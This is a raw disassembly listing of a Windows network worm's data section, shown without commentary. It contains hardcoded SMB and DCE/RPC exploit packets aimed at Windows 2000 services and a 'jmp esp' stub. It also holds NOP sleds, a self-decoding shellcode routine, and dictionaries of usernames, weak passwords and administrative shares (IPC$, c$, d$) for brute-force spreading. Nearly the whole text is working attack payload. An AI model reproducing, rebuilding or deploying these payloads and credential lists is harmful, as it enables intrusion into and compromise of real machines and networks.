		dd offset dword_43005C
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
		dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h
dword_41A7A8	dd 5F5C0A0Dh, 2E2Fh	; DATA XREF: sub_410649+59o
					; sub_410B52+Fo
dword_41A7B0	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: sub_410649+Fo
		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41A7FC	dd 3000005h, 10h, 5 dup(0) ; DATA XREF:	sub_410649+181o
dword_41A818	dd 10005h, 2 dup(0)	; DATA XREF: sub_410649+1ADo
		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_41A860	dd 0			; DATA XREF: sub_410649+475o
		dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------

loc_41A894:				; DATA XREF: sub_410649+153o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h

loc_41A8A0:				; DATA XREF: sub_410649+E5o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4

loc_41A8AC:				; DATA XREF: sub_410649+202o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		jmp	short loc_41A8C9
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------

loc_41A8B4:				; DATA XREF: sub_410649+2DBo
		jmp	short near ptr word_41A8BA
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_41A8BA	dw 0			; CODE XREF: .data:loc_41A8B4j
; ---------------------------------------------------------------------------

loc_41A8BC:				; DATA XREF: sub_410649+330o
		jmp	short near ptr word_41A8C2
; ---------------------------------------------------------------------------

loc_41A8BE:				; CODE XREF: .data:loc_41A8ACj
					; .data:loc_41A8DCj
		jmp	short loc_41A8C4
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_41A8C2	dw 0			; CODE XREF: .data:loc_41A8BCj
; ---------------------------------------------------------------------------

loc_41A8C4:				; CODE XREF: .data:loc_41A8BEj
					; DATA XREF: sub_410649+385o
		jmp	short near ptr loc_41A8C9+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------

loc_41A8C9:				; CODE XREF: .data:0041A8AEj
					; .data:loc_41A8C4j
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_41A8CC	dd offset loc_41005C	; DATA XREF: sub_410649+449o
		dd 2 dup(0)
dword_41A8D8	dd 77F33723h		; DATA XREF: sub_410649+25Ao
; ---------------------------------------------------------------------------

loc_41A8DC:				; DATA XREF: sub_410649+286o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------

loc_41A8E0:				; DATA XREF: sub_410649+22Eo
		lahf
		jnz	short loc_41A8FB

loc_41A8E3:				; DATA XREF: sub_410649+13Do
		add	[ecx+1Ch], bl

loc_41A8E6:				; CODE XREF: .data:loc_41A8F0j
		add	[ecx], al

loc_41A8E8:				; DATA XREF: sub_410649+111o
		or	ecx, [ebx]
		sbb	eax, [eax]

loc_41A8EC:				; DATA XREF: sub_410649+127o
		jmp	short near ptr dword_41A8F4
; ---------------------------------------------------------------------------
		align 10h

loc_41A8F0:				; DATA XREF: sub_410649+FBo
		jmp	short loc_41A8E6
; ---------------------------------------------------------------------------
		align 4
dword_41A8F4	dd 85000000h		; CODE XREF: .data:loc_41A8ECj
; ---------------------------------------------------------------------------
		call	dword ptr [ebx+4Dh]

loc_41A8FB:				; CODE XREF: .data:0041A8E1j
		inc	edx
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
		dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
		dd offset loc_401495
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
		dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
		dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
; ---------------------------------------------------------------------------
		sub	sp, 71Ch
		jmp	esp
; ---------------------------------------------------------------------------
		align 4
		dd 1004600h, 7515123Ch,	751C123Ch, 42B68ABAh, 42D01E50h
		dd 34000112h, 0
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
		dd 34EEA51Bh, 0
		dd 12400h, 0
dword_41AF50	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_410B52+62o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41AFDC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+A2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_41B088	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+E2o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41B168	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+13Co
		dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B1A8	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+179o
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	0
dword_41B20C	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+1B9o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B2B0	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+216o
		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_41B338	dd 0			; DATA XREF: sub_410B52+2C7o
		dd 0D7h, 1, 0
		dd 1, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
dword_41B35C	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+348o
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_41B3E4	dd 0			; DATA XREF: sub_410B52+3DEo
		dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_41B408	dd 20804h, 0		; DATA XREF: sub_410B52+285o
					; sub_410B52+29Bo ...
dword_41B410	dd 2080Ah, 0		; DATA XREF: sub_410B52+26Fo
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_1:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_2:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
		dd 3F3F0000h, 3F3F3Fh, 0
		dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		align 10h
		jmp	short loc_41B84A
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B852
; ---------------------------------------------------------------------------

loc_41B84A:				; CODE XREF: .data:0041B840j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah

loc_41B852:				; CODE XREF: .data:0041B848j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 9090767Ah
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B8A1
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------

loc_41B8A1:				; CODE XREF: .data:0041B897j
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_41B97E
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B986
; ---------------------------------------------------------------------------

loc_41B97E:				; CODE XREF: .data:0041B974j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah

loc_41B986:				; CODE XREF: .data:0041B97Cj
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		jns	short near ptr word_41B9F6
		add	[ecx], eax
		jmp	short loc_41B9C6
; ---------------------------------------------------------------------------
		align 10h
		dd 767A1567h
		db 2 dup(90h)
; ---------------------------------------------------------------------------

loc_41B9C6:				; CODE XREF: .data:0041B9BCj
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B9D5
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------

loc_41B9D5:				; CODE XREF: .data:0041B9CBj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 7E0h, 4, 0
		db 2 dup(0)
word_41B9F6	dw 0			; CODE XREF: .data:0041B9B8j
		dd 0D0EC8166h, 7, 129F74h, 0
		dd 127D78h, 0
; ---------------------------------------------------------------------------
		pusha
		jmp	short loc_41BA16

; =============== S U B	R O U T	I N E =======================================



sub_41BA13	proc near		; CODE XREF: .data:loc_41BA16p
		pop	ebx
		push	ebx
		retn
sub_41BA13	endp

; ---------------------------------------------------------------------------

loc_41BA16:				; CODE XREF: .data:0041BA11j
		call	sub_41BA13
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx

loc_41BA23:				; CODE XREF: .data:0041BA4Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_41BA23
		popa
		add	[ebx+31h], al
		mov	ebp, 7FC77h
		add	[ecx], al
		inc	ebx

loc_41BA5A:				; CODE XREF: .data:0041BA5Cj
		xor	eax, eax
		ja	short loc_41BA5A
		pop	es
; ---------------------------------------------------------------------------
		db 0
		dd 4F020100h, 7E7655Bh,	0
		dd 195h, 30B0005h, 10h,	48h, 1,	16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
byte_41BB00	db 90h			; DATA XREF: sub_410F60+35r
					; sub_410F60+73r ...
dword_41BB01	dd 0			; DATA XREF: sub_410F60+A3r
		db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
		dd 1400000h, 41000000h,	4, 842h, 24300h, 40450000h, 46000000h
		dd 10h,	2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
		dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
		dd 9, 393h, 419500h, 11960000h,	97000000h, 21h,	999h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-7FFFBE3Dh], cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[ebx+eax*8+41h], ah
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[ebx+eax*8+41h], dl
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
		dd offset aC		; "c$"
		dd offset aD		; "d$"
; ---------------------------------------------------------------------------
		fadd	st(2), st
		inc	ecx
		add	al, dl
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aDShared	; "d$\\shared"
; ---------------------------------------------------------------------------
		mov	eax, 0AC0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		mov	al, ds:8C0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
; ---------------------------------------------------------------------------
		push	600041C2h
		retn	41h
; ---------------------------------------------------------------------------
		xor	dl, al
		inc	ecx
		add	[eax], ch
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aIpc		; "IPC$"
		dd 0
		dd offset byte_41DE30
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
; ---------------------------------------------------------------------------
		aam	0C4h
		inc	ecx
		add	al, cl
		les	eax, [ecx+0]
		rol	ah, 41h
		add	[eax-4BFFBE3Ch], bh
		les	eax, [ecx+0]
		sbb	al, 0C2h
		inc	ecx
		add	[eax], bl
		retn	41h
; ---------------------------------------------------------------------------
		adc	al, 0C2h
		inc	ecx
		add	[eax], cl
		retn	41h
; ---------------------------------------------------------------------------
		cld
		rol	dword ptr [ecx+0], 0F4h
		rol	dword ptr [ecx+0], 0F0h
		rol	dword ptr [ecx+0], 0E4h
		rol	dword ptr [ecx+0], 0DCh
		rol	dword ptr [ecx+0], 0D8h
		rol	dword ptr [ecx+0], 0D4h
		rol	dword ptr [ecx+0], 0D0h
		rol	dword ptr [ecx+0], 0CCh
		rol	dword ptr [ecx+0], 0C8h
		rol	dword ptr [ecx+0], 0C0h
		rol	dword ptr [ecx+0], 0B8h
		rol	dword ptr [ecx+0], 0B0h
		rol	dword ptr [ecx+0], 0A8h
		rol	dword ptr [ecx+0], 9Ch
		rol	dword ptr [ecx+0], 90h
		rol	dword ptr [ecx+0], 84h
		rol	dword ptr [ecx+0], 7Ch
		rol	dword ptr [ecx+0], 70h
		rol	dword ptr [ecx+0], 68h
		rol	dword ptr [ecx+0], 60h
		rol	dword ptr [ecx+0], 50h
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], bl
		inc	ecx
		add	[eax+44004198h], dl
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], dl
		inc	ecx
		add	[eax-3Fh], cl
		inc	ecx
		add	[eax-3Fh], al
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
